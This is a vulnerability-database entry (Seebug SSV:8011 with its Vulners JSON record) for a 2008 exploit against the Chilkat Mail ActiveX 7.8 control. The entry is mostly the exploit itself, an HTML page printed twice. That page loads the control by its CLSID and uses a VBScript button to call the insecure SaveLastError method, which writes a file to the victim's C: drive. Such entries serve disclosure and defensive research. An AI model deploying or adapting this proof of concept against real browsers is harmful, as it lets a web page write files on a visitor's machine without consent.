Search...

Chilkat Mail ActiveX 7.8 (ChilkatCert.dll) Insecure Method Exploit

2008-01-30T00:00:00

ID SSV:8011
Type seebug
Reporter Root
Modified 2008-01-30T00:00:00

Description

No description provided by source.

                                        
                                            
                                                &lt;body&nbsp;bgcolor=&quot;#000000&quot;&gt;

&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;b&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;color=&quot;#00FF00&quot;&nbsp;size=&quot;2&quot;&gt;Chilkat&nbsp;Mail&nbsp;
ActiveX&nbsp;7.8&nbsp;(ChilkatCert.dll)&nbsp;Insecure&nbsp;Method&nbsp;Exploit&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;b&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;size=&quot;2&quot;&nbsp;color=&quot;#00FF00&quot;&gt;Site&nbsp;:
&lt;a&nbsp;href=&quot;http://www.chilkatsoft.com&quot;&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&gt;www.chilkatsoft.com&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;font&nbsp;color=&quot;#00FF00&quot;&nbsp;face=&quot;Verdana&quot;&gt;
===================================================&lt;/font&gt;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;b&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;color=&quot;#00FF00&quot;&nbsp;size=&quot;2&quot;&gt;Tested&nbsp;on&nbsp;
Windows&nbsp;XP&nbsp;Professional&nbsp;SP2&nbsp;,&nbsp;with&nbsp;Internet&nbsp;Explorer&nbsp;6&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;b&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;size=&quot;2&quot;&nbsp;color=&quot;#00FF00&quot;&gt;Author&nbsp;:&nbsp;
darkl0rd&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;b&gt;&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;size=&quot;2&quot;&nbsp;color=&quot;#00FF00&quot;&gt;E-Mail&nbsp;:&nbsp;
l_l_darkl0rd_l_l[at]yahoo[dot]com&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;b&gt;&lt;font&nbsp;color=&quot;#FF0000&quot;&nbsp;face=&quot;Verdana&quot;&nbsp;size=&quot;2&quot;&gt;SaveLastError&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;
&lt;object&nbsp;classid='clsid:2A9A3D40-2F32-45BF-9A89-AC9ED6C2FEDF'&nbsp;id='over'&nbsp;align=&quot;left&quot;&gt;&lt;/object&gt;

&lt;input&nbsp;language=VBScript&nbsp;onclick=lose()&nbsp;type=button&nbsp;value=&quot;Exploit&quot;&gt;

&lt;script&nbsp;language='vbscript'&gt;
&nbsp;Sub&nbsp;lose
&nbsp;&nbsp;&nbsp;mystr=&quot;c:\darkl0rd.txt&quot;
&nbsp;&nbsp;&nbsp;over.SaveLastError&nbsp;mystr
&nbsp;&nbsp;&nbsp;MyMsg&nbsp;=&nbsp;MsgBox(&quot;Done&nbsp;!&quot;)
&nbsp;End&nbsp;Sub
&lt;/script&gt;
&lt;/span&gt;&lt;/span&gt;

&lt;/code&gt;&lt;/p&gt;
&lt;/pre&gt;

JSON Vulners Source

Initial Source

{"href": "https://www.seebug.org/vuldb/ssvid-8011", "status": "poc", "history": [], "bulletinFamily": "exploit", "modified": "2008-01-30T00:00:00", "title": "Chilkat Mail ActiveX 7.8 (ChilkatCert.dll) Insecure Method Exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-8011", "cvelist": [], "description": "No description provided by source.", "viewCount": 0, "published": "2008-01-30T00:00:00", "sourceData": "\n <body bgcolor="#000000">\r\n\r\n<p align="center"><font face="Verdana" color="#00FF00" size="2">Chilkat Mail \r\nActiveX 7.8 (ChilkatCert.dll) Insecure Method Exploit\r\n<p align="center"><font face="Verdana" size="2" color="#00FF00">Site :\r\n<a href="http://www.chilkatsoft.com"><font color="#00FF00">www.chilkatsoft.com</a>\r\n<p align="center"><font color="#00FF00" face="Verdana">\r\n===================================================\r\n<p align="center"><font face="Verdana" color="#00FF00" size="2">Tested on \r\nWindows XP Professional SP2 , with Internet Explorer 6\r\n<p align="center"><font face="Verdana" size="2" color="#00FF00">Author : \r\ndarkl0rd\r\n<p align="center"><font face="Verdana" size="2" color="#00FF00">E-Mail : \r\nl_l_darkl0rd_l_l[at]yahoo[dot]com\r\n<p align="center"><font color="#FF0000" face="Verdana" size="2">SaveLastError\r\n<p align="center">\r\n<object classid='clsid:2A9A3D40-2F32-45BF-9A89-AC9ED6C2FEDF' id='over' align="left"></object>\r\n\r\n<input language=VBScript onclick=lose() type=button value="Exploit">\r\n\r\n<script language='vbscript'>\r\n Sub lose\r\n   mystr="c:\\darkl0rd.txt"\r\n   over.SaveLastError mystr\r\n   MyMsg = MsgBox("Done !")\r\n End Sub\r\n</script>\r\n\r\n\r\n</code>\r\n</pre>\n ", "id": "SSV:8011", "enchantments_done": [], "_object_type": "robots.models.seebug.SeebugBulletin", "type": "seebug", "lastseen": "2017-11-19T21:49:11", "reporter": "Root", "_object_types": ["robots.models.base.Bulletin", "robots.models.seebug.SeebugBulletin"], "enchantments": {"score": {"value": 5.0, "vector": "NONE"}, "dependencies": {"references": [], "modified": "2017-11-19T21:49:11"}, "vulnersScore": 5.0}, "objectVersion": "1.4", "references": []}